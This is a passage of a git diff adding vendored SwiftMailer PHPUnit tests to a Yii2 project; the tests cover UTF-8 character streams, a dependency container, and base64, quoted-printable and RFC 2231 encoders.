$reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + + $stream->importString(pack('C*', 0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE)); + + $this->assertIdenticalBinary(pack('C*', 0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE), + $stream->read(100) + ); + + $this->assertSame(false, $stream->read(1)); + } + + public function testRequestingByteArrayCountPastEndOfStream() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + + $stream->importString(pack('C*', 0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE)); + + $this->assertEquals(array(0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE), + $stream->readBytes(100) + ); + + $this->assertSame(false, $stream->readBytes(1)); + } + + public function testPointerOffsetCanBeSet() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + + $stream->importString(pack('C*', 0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE)); + + $this->assertIdenticalBinary(pack('C*', 0xD0, 0x94), $stream->read(1)); + + $stream->setPointer(0); + + $this->assertIdenticalBinary(pack('C*', 0xD0, 0x94), $stream->read(1)); + + $stream->setPointer(2); + + $this->assertIdenticalBinary(pack('C*', 0xD0, 0xBE), $stream->read(1)); + } + + public function testContentsCanBeFlushed() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + + $stream->importString(pack('C*', 0xD0, 0x94, 0xD0, 0xB6, 0xD0, 0xBE)); + + $stream->flushContents(); + + $this->assertSame(false, $stream->read(1)); + } + + public function testByteStreamCanBeImportingUsesValidator() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + $os = $this->_getByteStream(); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $os->shouldReceive('setReadPointer') + ->between(0, 1) + ->with(0); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xD0)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0x94)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xD0)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xB6)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xD0)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xBE)); + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + + $stream->importByteStream($os); + } + + public function testImportingStreamProducesCorrectCharArray() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + $os = $this->_getByteStream(); + + $stream = new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'); + + $os->shouldReceive('setReadPointer') + ->between(0, 1) + ->with(0); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xD0)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0x94)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xD0)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xB6)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xD0)); + $os->shouldReceive('read')->once()->andReturn(pack('C*', 0xBE)); + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0), 1)->andReturn(1); + + $stream->importByteStream($os); + + $this->assertIdenticalBinary(pack('C*', 0xD0, 0x94), $stream->read(1)); + $this->assertIdenticalBinary(pack('C*', 0xD0, 0xB6), $stream->read(1)); + $this->assertIdenticalBinary(pack('C*', 0xD0, 0xBE), $stream->read(1)); + + $this->assertSame(false, $stream->read(1)); + } + + public function testAlgorithmWithFixedWidthCharsets() + { + $reader = $this->_getReader(); + $factory = $this->_getFactory($reader); + + $reader->shouldReceive('getInitialByteSize') + ->zeroOrMoreTimes() + ->andReturn(2); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD1, 0x8D), 2); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0, 0xBB), 2); + $reader->shouldReceive('validateByteSequence')->once()->with(array(0xD0, 0xB0), 2); + + $stream = new Swift_CharacterStream_ArrayCharacterStream( + $factory, 'utf-8' + ); + $stream->importString(pack('C*', 0xD1, 0x8D, 0xD0, 0xBB, 0xD0, 0xB0)); + + $this->assertIdenticalBinary(pack('C*', 0xD1, 0x8D), $stream->read(1)); + $this->assertIdenticalBinary(pack('C*', 0xD0, 0xBB), $stream->read(1)); + $this->assertIdenticalBinary(pack('C*', 0xD0, 0xB0), $stream->read(1)); + + $this->assertSame(false, $stream->read(1)); + } + + // -- Creation methods + + private function _getReader() + { + return $this->getMockery('Swift_CharacterReader'); + } + + private function _getFactory($reader) + { + $factory = $this->getMockery('Swift_CharacterReaderFactory'); + $factory->shouldReceive('getReaderFor') + ->zeroOrMoreTimes() + ->with('utf-8') + ->andReturn($reader); + + return $factory; + } + + private function _getByteStream() + { + return $this->getMockery('Swift_OutputByteStream'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/DependencyContainerTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/DependencyContainerTest.php new file mode 100644 index 00000000..bc4a79bc --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/DependencyContainerTest.php @@ -0,0 +1,174 @@ +arg1 = $arg1; + $this->arg2 = $arg2; + } +} + +class Swift_DependencyContainerTest extends \PHPUnit_Framework_TestCase +{ + private $_container; + + public function setUp() + { + $this->_container = new Swift_DependencyContainer(); + } + + public function testRegisterAndLookupValue() + { + $this->_container->register('foo')->asValue('bar'); + $this->assertEquals('bar', $this->_container->lookup('foo')); + } + + public function testHasReturnsTrueForRegisteredValue() + { + $this->_container->register('foo')->asValue('bar'); + $this->assertTrue($this->_container->has('foo')); + } + + public function testHasReturnsFalseForUnregisteredValue() + { + $this->assertFalse($this->_container->has('foo')); + } + + public function testRegisterAndLookupNewInstance() + { + $this->_container->register('one')->asNewInstanceOf('One'); + $this->assertInstanceof('One', $this->_container->lookup('one')); + } + + public function testHasReturnsTrueForRegisteredInstance() + { + $this->_container->register('one')->asNewInstanceOf('One'); + $this->assertTrue($this->_container->has('one')); + } + + public function testNewInstanceIsAlwaysNew() + { + $this->_container->register('one')->asNewInstanceOf('One'); + $a = $this->_container->lookup('one'); + $b = $this->_container->lookup('one'); + $this->assertEquals($a, $b); + } + + public function testRegisterAndLookupSharedInstance() + { + $this->_container->register('one')->asSharedInstanceOf('One'); + $this->assertInstanceof('One', $this->_container->lookup('one')); + } + + public function testHasReturnsTrueForSharedInstance() + { + $this->_container->register('one')->asSharedInstanceOf('One'); + $this->assertTrue($this->_container->has('one')); + } + + public function testMultipleSharedInstancesAreSameInstance() + { + $this->_container->register('one')->asSharedInstanceOf('One'); + $a = $this->_container->lookup('one'); + $b = $this->_container->lookup('one'); + $this->assertEquals($a, $b); + } + + public function testNewInstanceWithDependencies() + { + $this->_container->register('foo')->asValue('FOO'); + $this->_container->register('one')->asNewInstanceOf('One') + ->withDependencies(array('foo')); + $obj = $this->_container->lookup('one'); + $this->assertSame('FOO', $obj->arg1); + } + + public function testNewInstanceWithMultipleDependencies() + { + $this->_container->register('foo')->asValue('FOO'); + $this->_container->register('bar')->asValue(42); + $this->_container->register('one')->asNewInstanceOf('One') + ->withDependencies(array('foo', 'bar')); + $obj = $this->_container->lookup('one'); + $this->assertSame('FOO', $obj->arg1); + $this->assertSame(42, $obj->arg2); + } + + public function testNewInstanceWithInjectedObjects() + { + $this->_container->register('foo')->asValue('FOO'); + $this->_container->register('one')->asNewInstanceOf('One'); + $this->_container->register('two')->asNewInstanceOf('One') + ->withDependencies(array('one', 'foo')); + $obj = $this->_container->lookup('two'); + $this->assertEquals($this->_container->lookup('one'), $obj->arg1); + $this->assertSame('FOO', $obj->arg2); + } + + public function testNewInstanceWithAddConstructorValue() + { + $this->_container->register('one')->asNewInstanceOf('One') + ->addConstructorValue('x') + ->addConstructorValue(99); + $obj = $this->_container->lookup('one'); + $this->assertSame('x', $obj->arg1); + $this->assertSame(99, $obj->arg2); + } + + public function testNewInstanceWithAddConstructorLookup() + { + $this->_container->register('foo')->asValue('FOO'); + $this->_container->register('bar')->asValue(42); + $this->_container->register('one')->asNewInstanceOf('One') + ->addConstructorLookup('foo') + ->addConstructorLookup('bar'); + + $obj = $this->_container->lookup('one'); + $this->assertSame('FOO', $obj->arg1); + $this->assertSame(42, $obj->arg2); + } + + public function testResolvedDependenciesCanBeLookedUp() + { + $this->_container->register('foo')->asValue('FOO'); + $this->_container->register('one')->asNewInstanceOf('One'); + $this->_container->register('two')->asNewInstanceOf('One') + ->withDependencies(array('one', 'foo')); + $deps = $this->_container->createDependenciesFor('two'); + $this->assertEquals( + array($this->_container->lookup('one'), 'FOO'), $deps + ); + } + + public function testArrayOfDependenciesCanBeSpecified() + { + $this->_container->register('foo')->asValue('FOO'); + $this->_container->register('one')->asNewInstanceOf('One'); + $this->_container->register('two')->asNewInstanceOf('One') + ->withDependencies(array(array('one', 'foo'), 'foo')); + + $obj = $this->_container->lookup('two'); + $this->assertEquals(array($this->_container->lookup('one'), 'FOO'), $obj->arg1); + $this->assertSame('FOO', $obj->arg2); + } + + public function testAliasCanBeSet() + { + $this->_container->register('foo')->asValue('FOO'); + $this->_container->register('bar')->asAliasOf('foo'); + + $this->assertSame('FOO', $this->_container->lookup('bar')); + } + + public function testAliasOfAliasCanBeSet() + { + $this->_container->register('foo')->asValue('FOO'); + $this->_container->register('bar')->asAliasOf('foo'); + $this->_container->register('zip')->asAliasOf('bar'); + $this->_container->register('button')->asAliasOf('zip'); + + $this->assertSame('FOO', $this->_container->lookup('button')); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/Base64EncoderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/Base64EncoderTest.php new file mode 100644 index 00000000..be588c1d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/Base64EncoderTest.php @@ -0,0 +1,173 @@ +_encoder = new Swift_Encoder_Base64Encoder(); + } + + /* + There's really no point in testing the entire base64 encoding to the + level QP encoding has been tested. base64_encode() has been in PHP for + years. + */ + + public function testInputOutputRatioIs3to4Bytes() + { + /* + RFC 2045, 6.8 + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + */ + + $this->assertEquals( + 'MTIz', $this->_encoder->encodeString('123'), + '%s: 3 bytes of input should yield 4 bytes of output' + ); + $this->assertEquals( + 'MTIzNDU2', $this->_encoder->encodeString('123456'), + '%s: 6 bytes in input should yield 8 bytes of output' + ); + $this->assertEquals( + 'MTIzNDU2Nzg5', $this->_encoder->encodeString('123456789'), + '%s: 9 bytes in input should yield 12 bytes of output' + ); + } + + public function testPadLength() + { + /* + RFC 2045, 6.8 + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a body. When fewer than 24 input bits + are available in an input group, zero bits are added (on the right) + to form an integral number of 6-bit groups. Padding at the end of + the data is performed using the "=" character. Since all base64 + input is an integral number of octets, only the following cases can + arise: (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded output will be + an integral multiple of 4 characters with no "=" padding, (2) the + final quantum of encoding input is exactly 8 bits; here, the final + unit of encoded output will be two characters followed by two "=" + padding characters, or (3) the final quantum of encoding input is + exactly 16 bits; here, the final unit of encoded output will be three + characters followed by one "=" padding character. + */ + + for ($i = 0; $i < 30; ++$i) { + $input = pack('C', rand(0, 255)); + $this->assertRegExp( + '~^[a-zA-Z0-9/\+]{2}==$~', $this->_encoder->encodeString($input), + '%s: A single byte should have 2 bytes of padding' + ); + } + + for ($i = 0; $i < 30; ++$i) { + $input = pack('C*', rand(0, 255), rand(0, 255)); + $this->assertRegExp( + '~^[a-zA-Z0-9/\+]{3}=$~', $this->_encoder->encodeString($input), + '%s: Two bytes should have 1 byte of padding' + ); + } + + for ($i = 0; $i < 30; ++$i) { + $input = pack('C*', rand(0, 255), rand(0, 255), rand(0, 255)); + $this->assertRegExp( + '~^[a-zA-Z0-9/\+]{4}$~', $this->_encoder->encodeString($input), + '%s: Three bytes should have no padding' + ); + } + } + + public function testMaximumLineLengthIs76Characters() + { + /* + The encoded output stream must be represented in lines of no more + than 76 characters each. All line breaks or other characters not + found in Table 1 must be ignored by decoding software. + */ + + $input = + 'abcdefghijklmnopqrstuvwxyz'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'. + '1234567890'. + 'abcdefghijklmnopqrstuvwxyz'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'. + '1234567890'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + + $output = + 'YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQk'.//38 + 'NERUZHSElKS0xNTk9QUVJTVFVWV1hZWjEyMzQ1'."\r\n".//76 * + 'Njc4OTBhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3'.//38 + 'h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFla'."\r\n".//76 * + 'MTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUl'.//38 + 'NUVVZXWFla'; //48 + + $this->assertEquals( + $output, $this->_encoder->encodeString($input), + '%s: Lines should be no more than 76 characters' + ); + } + + public function testMaximumLineLengthCanBeSpecified() + { + $input = + 'abcdefghijklmnopqrstuvwxyz'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'. + '1234567890'. + 'abcdefghijklmnopqrstuvwxyz'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'. + '1234567890'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + + $output = + 'YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQk'.//38 + 'NERUZHSElKS0'."\r\n".//50 * + 'xNTk9QUVJTVFVWV1hZWjEyMzQ1Njc4OTBhYmNk'.//38 + 'ZWZnaGlqa2xt'."\r\n".//50 * + 'bm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1'.//38 + 'BRUlNUVVZXWF'."\r\n".//50 * + 'laMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BR'.//38 + 'UlNUVVZXWFla'; //50 * + + $this->assertEquals( + $output, $this->_encoder->encodeString($input, 0, 50), + '%s: Lines should be no more than 100 characters' + ); + } + + public function testFirstLineLengthCanBeDifferent() + { + $input = + 'abcdefghijklmnopqrstuvwxyz'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'. + '1234567890'. + 'abcdefghijklmnopqrstuvwxyz'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'. + '1234567890'. + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + + $output = + 'YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQk'.//38 + 'NERUZHSElKS0xNTk9QU'."\r\n".//57 * + 'VJTVFVWV1hZWjEyMzQ1Njc4OTBhYmNkZWZnaGl'.//38 + 'qa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLT'."\r\n".//76 * + 'E1OT1BRUlNUVVZXWFlaMTIzNDU2Nzg5MEFCQ0R'.//38 + 'FRkdISUpLTE1OT1BRUlNUVVZXWFla'; //67 + + $this->assertEquals( + $output, $this->_encoder->encodeString($input, 19), + '%s: First line offset is 19 so first line should be 57 chars long' + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/QpEncoderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/QpEncoderTest.php new file mode 100644 index 00000000..adf485d7 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/QpEncoderTest.php @@ -0,0 +1,381 @@ +_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($char); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array($ordinal)); + $charStream->shouldReceive('readBytes') + ->atLeast()->times(1) + ->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + + $this->assertIdenticalBinary($char, $encoder->encodeString($char)); + } + } + + public function testWhiteSpaceAtLineEndingIsEncoded() + { + /* -- RFC 2045, 6.7 -- + (3) (White Space) Octets with values of 9 and 32 MAY be + represented as US-ASCII TAB (HT) and SPACE characters, + respectively, but MUST NOT be so represented at the end + of an encoded line. Any TAB (HT) or SPACE characters + on an encoded line MUST thus be followed on that line + by a printable character. In particular, an "=" at the + end of an encoded line, indicating a soft line break + (see rule #5) may follow one or more TAB (HT) or SPACE + characters. It follows that an octet with decimal + value 9 or 32 appearing at the end of an encoded line + must be represented according to Rule #1. This rule is + necessary because some MTAs (Message Transport Agents, + programs which transport messages from one user to + another, or perform a portion of such transfers) are + known to pad lines of text with SPACEs, and others are + known to remove "white space" characters from the end + of a line. Therefore, when decoding a Quoted-Printable + body, any trailing white space on a line must be + deleted, as it will necessarily have been added by + intermediate transport agents. + */ + + $HT = chr(0x09); //9 + $SPACE = chr(0x20); //32 + + //HT + $string = 'a'.$HT.$HT."\r\n".'b'; + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($string); + + $charStream->shouldReceive('readBytes')->once()->andReturn(array(ord('a'))); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x09)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x09)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(ord('b'))); + $charStream->shouldReceive('readBytes')->once()->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + $this->assertEquals( + 'a'.$HT.'=09'."\r\n".'b', + $encoder->encodeString($string) + ); + + //SPACE + $string = 'a'.$SPACE.$SPACE."\r\n".'b'; + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($string); + + $charStream->shouldReceive('readBytes')->once()->andReturn(array(ord('a'))); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x20)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x20)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(ord('b'))); + $charStream->shouldReceive('readBytes')->once()->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + $this->assertEquals( + 'a'.$SPACE.'=20'."\r\n".'b', + $encoder->encodeString($string) + ); + } + + public function testCRLFIsLeftAlone() + { + /* + (4) (Line Breaks) A line break in a text body, represented + as a CRLF sequence in the text canonical form, must be + represented by a (RFC 822) line break, which is also a + CRLF sequence, in the Quoted-Printable encoding. Since + the canonical representation of media types other than + text do not generally include the representation of + line breaks as CRLF sequences, no hard line breaks + (i.e. line breaks that are intended to be meaningful + and to be displayed to the user) can occur in the + quoted-printable encoding of such types. Sequences + like "=0D", "=0A", "=0A=0D" and "=0D=0A" will routinely + appear in non-text data represented in quoted- + printable, of course. + + Note that many implementations may elect to encode the + local representation of various content types directly + rather than converting to canonical form first, + encoding, and then converting back to local + representation. In particular, this may apply to plain + text material on systems that use newline conventions + other than a CRLF terminator sequence. Such an + implementation optimization is permissible, but only + when the combined canonicalization-encoding step is + equivalent to performing the three steps separately. + */ + + $string = 'a'."\r\n".'b'."\r\n".'c'."\r\n"; + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($string); + + $charStream->shouldReceive('readBytes')->once()->andReturn(array(ord('a'))); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(ord('b'))); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(ord('c'))); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes')->once()->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes')->once()->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + $this->assertEquals($string, $encoder->encodeString($string)); + } + + public function testLinesLongerThan76CharactersAreSoftBroken() + { + /* + (5) (Soft Line Breaks) The Quoted-Printable encoding + REQUIRES that encoded lines be no more than 76 + characters long. If longer lines are to be encoded + with the Quoted-Printable encoding, "soft" line breaks + must be used. An equal sign as the last character on a + encoded line indicates such a non-significant ("soft") + line break in the encoded text. + */ + + $input = str_repeat('a', 140); + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($input); + + $output = ''; + for ($i = 0; $i < 140; ++$i) { + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + + if (75 == $i) { + $output .= "=\r\n"; + } + $output .= 'a'; + } + + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + $this->assertEquals($output, $encoder->encodeString($input)); + } + + public function testMaxLineLengthCanBeSpecified() + { + $input = str_repeat('a', 100); + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($input); + + $output = ''; + for ($i = 0; $i < 100; ++$i) { + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + + if (53 == $i) { + $output .= "=\r\n"; + } + $output .= 'a'; + } + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + $this->assertEquals($output, $encoder->encodeString($input, 0, 54)); + } + + public function testBytesBelowPermittedRangeAreEncoded() + { + /* + According to Rule (1 & 2) + */ + + foreach (range(0, 32) as $ordinal) { + $char = chr($ordinal); + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($char); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array($ordinal)); + $charStream->shouldReceive('readBytes') + ->atLeast()->times(1) + ->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + + $this->assertEquals( + sprintf('=%02X', $ordinal), $encoder->encodeString($char) + ); + } + } + + public function testDecimalByte61IsEncoded() + { + /* + According to Rule (1 & 2) + */ + + $char = '='; + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($char); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(61)); + $charStream->shouldReceive('readBytes') + ->atLeast()->times(1) + ->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + + $this->assertEquals('=3D', $encoder->encodeString('=')); + } + + public function testBytesAbovePermittedRangeAreEncoded() + { + /* + According to Rule (1 & 2) + */ + + foreach (range(127, 255) as $ordinal) { + $char = chr($ordinal); + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($char); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array($ordinal)); + $charStream->shouldReceive('readBytes') + ->atLeast()->times(1) + ->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + + $this->assertEquals( + sprintf('=%02X', $ordinal), $encoder->encodeString($char) + ); + } + } + + public function testFirstLineLengthCanBeDifferent() + { + $input = str_repeat('a', 140); + + $charStream = $this->_createCharStream(); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($input); + + $output = ''; + for ($i = 0; $i < 140; ++$i) { + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + + if (53 == $i || 53 + 75 == $i) { + $output .= "=\r\n"; + } + $output .= 'a'; + } + + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(false); + + $encoder = new Swift_Encoder_QpEncoder($charStream); + $this->assertEquals( + $output, $encoder->encodeString($input, 22), + '%s: First line should start at offset 22 so can only have max length 54' + ); + } + + // -- Creation methods + + private function _createCharStream() + { + return $this->getMockery('Swift_CharacterStream')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/Rfc2231EncoderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/Rfc2231EncoderTest.php new file mode 100644 index 00000000..28eae6f8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Encoder/Rfc2231EncoderTest.php @@ -0,0 +1,141 @@ +getMockery('Swift_CharacterStream'); + + $string = ''; + foreach (range(0x00, 0x7F) as $octet) { + $char = pack('C', $octet); + $string .= $char; + $charStream->shouldReceive('read') + ->once() + ->andReturn($char); + } + + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($string); + $charStream->shouldReceive('read') + ->atLeast()->times(1) + ->andReturn(false); + + $encoder = new Swift_Encoder_Rfc2231Encoder($charStream); + $encoded = $encoder->encodeString($string); + + foreach (explode("\r\n", $encoded) as $line) { + $this->assertRegExp($this->_rfc2045Token, $line, + '%s: Encoder should always return a valid RFC 2045 token.'); + } + } + + public function testEncodingNonAsciiCharactersProducesValidToken() + { + $charStream = $this->getMockery('Swift_CharacterStream'); + + $string = ''; + foreach (range(0x80, 0xFF) as $octet) { + $char = pack('C', $octet); + $string .= $char; + $charStream->shouldReceive('read') + ->once() + ->andReturn($char); + } + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($string); + $charStream->shouldReceive('read') + ->atLeast()->times(1) + ->andReturn(false); + $encoder = new Swift_Encoder_Rfc2231Encoder($charStream); + + $encoded = $encoder->encodeString($string); + + foreach (explode("\r\n", $encoded) as $line) { + $this->assertRegExp($this->_rfc2045Token, $line, + '%s: Encoder should always return a valid RFC 2045 token.'); + } + } + + public function testMaximumLineLengthCanBeSet() + { + $charStream = $this->getMockery('Swift_CharacterStream'); + + $string = ''; + for ($x = 0; $x < 200; ++$x) { + $char = 'a'; + $string .= $char; + $charStream->shouldReceive('read') + ->once() + ->andReturn($char); + } + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($string); + $charStream->shouldReceive('read') + ->atLeast()->times(1) + ->andReturn(false); + $encoder = new Swift_Encoder_Rfc2231Encoder($charStream); + + $encoded = $encoder->encodeString($string, 0, 75); + + $this->assertEquals( + str_repeat('a', 75)."\r\n". + str_repeat('a', 75)."\r\n". + str_repeat('a', 50), + $encoded, + '%s: Lines should be wrapped at each 75 characters' + ); + } + + public function testFirstLineCanHaveShorterLength() + { + $charStream = $this->getMockery('Swift_CharacterStream'); + + $string = ''; + for ($x = 0; $x < 200; ++$x) { + $char = 'a'; + $string .= $char; + $charStream->shouldReceive('read') + ->once() + ->andReturn($char); + } + 